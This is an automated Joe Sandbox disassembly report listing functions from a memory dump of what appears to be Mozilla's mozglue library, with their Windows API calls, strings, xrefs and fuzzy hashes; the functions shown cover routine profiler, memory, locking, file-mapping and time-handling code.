GetCurrentThreadId.KERNEL32 ref: 6C61EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61EC8C

Part of subcall function 6C6194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6194EE
Part of subcall function 6C6194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C619508

GetCurrentThreadId.KERNEL32 ref: 6C61ECA1
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C61ECC5
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C61ED19
CloseHandle.KERNEL32(?), ref: 6C61ED28
free.MOZGLUE(00000000), ref: 6C61ED2F
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C61EC94

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 70a1be703a02af6df98791a784be13c71a5d525f1c2b20087ca7538a9c356ec4
Instruction ID: 6a1656a2faf969033ae06076eda4606af3c72a53ea480d86065bcaa933f2c1a7
Opcode Fuzzy Hash: 70a1be703a02af6df98791a784be13c71a5d525f1c2b20087ca7538a9c356ec4
Instruction Fuzzy Hash: 1221F6716041049BDF01DF2ADC48AAA77B9EF8636EFA44210FD1497F41DB31D8168BAE

Function 6C618ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C5DEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5DEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C61B392,?,?,00000001), ref: 6C6191F4

Part of subcall function 6C60CBE8: GetCurrentProcess.KERNEL32(?,6C5D31A7), ref: 6C60CBF1
Part of subcall function 6C60CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5D31A7), ref: 6C60CBFA

Strings

marker-chart, xrefs: 6C61905E
name, xrefs: 6C618F16
timeline-ipc, xrefs: 6C619096
data, xrefs: 6C6190E8
timeline-fileio, xrefs: 6C6190A4
marker-table, xrefs: 6C61906C
timeline-overview, xrefs: 6C61907A
timeline-memory, xrefs: 6C619088
stack-chart, xrefs: 6C6190B2

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: fb56c41b65d5e105f2663061bc032590cb921bc1721f00b6f02d830517bcadf7
Instruction ID: 50f659b3ae74c031d584d068a7a3c2a133b141ec3ff5543edbc0b85253ab959f
Opcode Fuzzy Hash: fb56c41b65d5e105f2663061bc032590cb921bc1721f00b6f02d830517bcadf7
Instruction Fuzzy Hash: B5B1D3B1A04209DBDB04CF98C8917EEBBB6AF85319F608019D402ABF80D771ED44CBD9

Function 6C5FC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5FC5A3
WideCharToMultiByte.KERNEL32 ref: 6C5FC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C5FC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C5FCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5FCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5FCAA5

Strings

0, xrefs: 6C5FD30A
(null), xrefs: 6C5FC596

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 3d40baa6eccdc83b3afbedcfa6ddd471405385cd4749e11c038477b5f8197ae8
Instruction ID: 77fec1d1f78ecf1b974832e6b75ac76c7fffb63a22507b34b03b71bcfa9b0df6
Opcode Fuzzy Hash: 3d40baa6eccdc83b3afbedcfa6ddd471405385cd4749e11c038477b5f8197ae8
Instruction Fuzzy Hash: 71A1A23060C3429FDB15DF29C98475ABBF1AF89748F04882DE9AA97741D771E806CF86

Function 6C5D3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C5D3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C5D34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C5D34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C5D350E
__Init_thread_footer.LIBCMT ref: 6C5D3522
__aulldiv.LIBCMT ref: 6C5D3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C5D357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C5D3592

Part of subcall function 6C60AB89: EnterCriticalSection.KERNEL32(6C65E370,?,?,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284), ref: 6C60AB94
Part of subcall function 6C60AB89: LeaveCriticalSection.KERNEL32(6C65E370,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C60ABD1

Strings

kernel32.dll, xrefs: 6C5D34EA
GetSystemTimePreciseAsFileTime, xrefs: 6C5D3508

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: ec014fe6a51b10e2f2ed784994da234df64d401dc57e17eb5ac092d4f2f37f9d
Instruction ID: ff6c90751ecf899f450b2ba8a89e7fe0e4718e82eb8efba589af9a66fba505de
Opcode Fuzzy Hash: ec014fe6a51b10e2f2ed784994da234df64d401dc57e17eb5ac092d4f2f37f9d
Instruction Fuzzy Hash: 8E31C471B012059BDF04DFBACD98AAE77B5FB86304F650419E501E3690EB70A905CF69

Function 6C5D4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C614843,?), ref: 6C5D45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C614843,?), ref: 6C5D468A
free.MOZGLUE(?,?,?,?,?,?,6C614843,?), ref: 6C5D46C9
free.MOZGLUE(?), ref: 6C5D46EF
free.MOZGLUE(?), ref: 6C5D4712
free.MOZGLUE(?), ref: 6C5D4735
free.MOZGLUE(?), ref: 6C5D4758
free.MOZGLUE(?), ref: 6C5D477B
free.MOZGLUE(?), ref: 6C5D479E

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 04a0f89a75f7084f9cb8e751e35cbe04ed369c8ddec99c522680bfbed1277674
Instruction ID: 6b4d7400da3f025c1cc641b2b122a39e568db534936918d755deeba5f8b02fb1
Opcode Fuzzy Hash: 04a0f89a75f7084f9cb8e751e35cbe04ed369c8ddec99c522680bfbed1277674
Instruction Fuzzy Hash: 94B1E571A002508FDB18CF3CDC9076D77A2AF81328F1A4669E416DBB96E731EC80CB85

Function 6C63AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C63AC52
CreateFileMappingW.KERNEL32 ref: 6C63AC7D
GetSystemInfo.KERNEL32 ref: 6C63AC98
MapViewOfFile.KERNEL32 ref: 6C63ACB0
GetSystemInfo.KERNEL32 ref: 6C63ACCD
MapViewOfFile.KERNEL32 ref: 6C63AD05
UnmapViewOfFile.KERNEL32 ref: 6C63AD1C
CloseHandle.KERNEL32 ref: 6C63AD28
UnmapViewOfFile.KERNEL32 ref: 6C63AD37
CloseHandle.KERNEL32 ref: 6C63AD43
CloseHandle.KERNEL32 ref: 6C63AD67

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 6b6aafb14f3f12747100b532e4d15c2d391ebb5557f61946f06a7e3f2e8b80c7
Instruction ID: ddc07e36fd5e50f32547a8b0577775114b9e7bcfdb4c27cac3422107b737a387
Opcode Fuzzy Hash: 6b6aafb14f3f12747100b532e4d15c2d391ebb5557f61946f06a7e3f2e8b80c7
Instruction Fuzzy Hash: C03172B1A047048FDB00EFBDD68826EBBF0FF85305F55992DE98997211EB709449CB86

Function 6C5E9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C5E9675
__Init_thread_footer.LIBCMT ref: 6C5E9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5E96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C5E9707
__Init_thread_footer.LIBCMT ref: 6C5E971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5E9773

Part of subcall function 6C60AB89: EnterCriticalSection.KERNEL32(6C65E370,?,?,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284), ref: 6C60AB94
Part of subcall function 6C60AB89: LeaveCriticalSection.KERNEL32(6C65E370,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C60ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5E97B7
FreeLibrary.KERNEL32 ref: 6C5E97D0
FreeLibrary.KERNEL32 ref: 6C5E97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5E9824

Strings

NtMapViewOfSection, xrefs: 6C5E9701
ntdll.dll, xrefs: 6C5E96E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C5E9670
MapViewOfFileNuma2, xrefs: 6C5E97B1

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 7af31bd9d1caf05ab38784b412d37af4710e2c9cb3fca5ffac36798e92e72cfb
Instruction ID: 152b3323a961b0a00fb16486163bcb58ca1ba9b152b148bacdbeedcefa109258
Opcode Fuzzy Hash: 7af31bd9d1caf05ab38784b412d37af4710e2c9cb3fca5ffac36798e92e72cfb
Instruction Fuzzy Hash: F541ADB17002069FDF00DFA6ECD4E967BB4EB4A364FA04128ED0597740D730A818CFAA

Function 6C5E7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5E7EA7
malloc.MOZGLUE(00000001), ref: 6C5E7EB3

Part of subcall function 6C5ECAB0: EnterCriticalSection.KERNEL32(?), ref: 6C5ECB49
Part of subcall function 6C5ECAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C5ECBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C5E7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C5E7F19
malloc.MOZGLUE(?), ref: 6C5E7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5E7F4D

Strings

d, xrefs: 6C5E7F89

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 2a68721bfaa8e7b709f53d2847900d699ad40fcf4c1b8e3b5eed4650bc069330
Instruction ID: 6daefe3bf2379c1b41a40a69757f2ed44dc9c9215d8dcfffa6fad5e915e2f03b
Opcode Fuzzy Hash: 2a68721bfaa8e7b709f53d2847900d699ad40fcf4c1b8e3b5eed4650bc069330
Instruction Fuzzy Hash: 6B31F871E0434897DF01DB69CC449FEB778EF96208F44D229ED4957612FB31A988C398

Function 6C5E3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 6C5E3EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C5E3FDC
RtlAllocateHeap.NTDLL ref: 6C5E4006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C5E40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C5E3CCC), ref: 6C5E40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C5E3CCC), ref: 6C5E40C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C5E4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C5E3CCC), ref: 6C5E4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C5E3CCC), ref: 6C5E4157

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: a3e0fbc1aeaf056e90d2d976f1af2e92f4fee5dddf0c9c8327520c02cda12405
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: E3A18FB1A00215CFDB40CF68C880659B7F5FF8C318F2585A9D919AF752D772E886CBA0

Function 6C629D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C628273), ref: 6C629D65
free.MOZGLUE(6C628273,?), ref: 6C629D7C
free.MOZGLUE(?,?), ref: 6C629D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C629E0F
free.MOZGLUE(6C62946B,?,?), ref: 6C629E24
free.MOZGLUE(?,?,?), ref: 6C629E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C629EC8
free.MOZGLUE(6C62946B,?,?,?), ref: 6C629EDF
free.MOZGLUE(?,?,?,?), ref: 6C629EF5

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 5d141aee42f8c1154796d9e2e23562edd1078d788eb338edd3e5fabbb475a7e0
Instruction ID: e92143d601f4e33e888a683d0d706c4ab2d534824c9a275faa4438dbfc869fb7
Opcode Fuzzy Hash: 5d141aee42f8c1154796d9e2e23562edd1078d788eb338edd3e5fabbb475a7e0
Instruction Fuzzy Hash: C771BE70909B41CBC716CF18C88055AF7F5FFD9318B809A59E99A5BB01EB30E886CF81

Function 6C62DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C62DDCF

Part of subcall function 6C60FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C60FA4B

Part of subcall function 6C6290E0: free.MOZGLUE(?,00000000,?,?,6C62DEDB), ref: 6C6290FF
Part of subcall function 6C6290E0: free.MOZGLUE(?,00000000,?,?,6C62DEDB), ref: 6C629108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C62DE0D
free.MOZGLUE(00000000), ref: 6C62DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C62DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C62DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C62DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C61DEFD,?,6C5E4A68), ref: 6C62DF32

Part of subcall function 6C62DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C62DB86
Part of subcall function 6C62DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C62DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C61DEFD,?,6C5E4A68), ref: 6C62DF65
free.MOZGLUE(?), ref: 6C62DF80

Part of subcall function 6C5F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5F5EDB
Part of subcall function 6C5F5E90: memset.VCRUNTIME140(ewcl,000000E5,?), ref: 6C5F5F27
Part of subcall function 6C5F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5F5FB2

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 22314e3db5143f6fa7167c526437430d82270389a31a800d9f90b5e8a20b0319
Instruction ID: 84673341253f0ce5c9103d1259b7aa0491cdf0cea04f70ca848b03d34337e562
Opcode Fuzzy Hash: 22314e3db5143f6fa7167c526437430d82270389a31a800d9f90b5e8a20b0319
Instruction Fuzzy Hash: 1251C5726016019BD720DB28C8806EEB3B2BFD6308F95451CD99A53B00D739F91ACF8E

Function 6C635D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C635C8C,?,6C60E829), ref: 6C635D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C635C8C,?,6C60E829), ref: 6C635D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C635C8C,?,6C60E829), ref: 6C635D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C635C8C,?,6C60E829), ref: 6C635D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C635C8C,?,6C60E829), ref: 6C635DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C635C8C,?,6C60E829), ref: 6C635DC9
std::_Facet_Register.LIBCPMT ref: 6C635DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C635C8C,?,6C60E829), ref: 6C635E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C635C8C,?,6C60E829), ref: 6C635E45

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 9e98bfeade210b84deb3c76ef6abedc088370e1b1dd642fab251f4f73ab9cdee
Instruction ID: 0f614f6ce7983ee76c808223fd4fe8afe700b2de1f336471ab415d64ed617857
Opcode Fuzzy Hash: 9e98bfeade210b84deb3c76ef6abedc088370e1b1dd642fab251f4f73ab9cdee
Instruction Fuzzy Hash: F5416C307002159FCB04DF66C8D8AAE77F5EF89318F545168E50A9B791EB34E805CBAD

Function 6C60CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C5D31A7), ref: 6C60CDDD

Strings

<jemalloc>, xrefs: 6C60CF9F, 6C60CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C60CFA4, 6C60CFB8

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 1eb2a61420fc0e89842d5f827330b60f09bdaa22fa024cf4a8ea58d845c73b3b
Instruction ID: 973a96298734e7b0bef77ef334e780561bb1ca0ae2168f629a6c4a96bf8108ee
Opcode Fuzzy Hash: 1eb2a61420fc0e89842d5f827330b60f09bdaa22fa024cf4a8ea58d845c73b3b
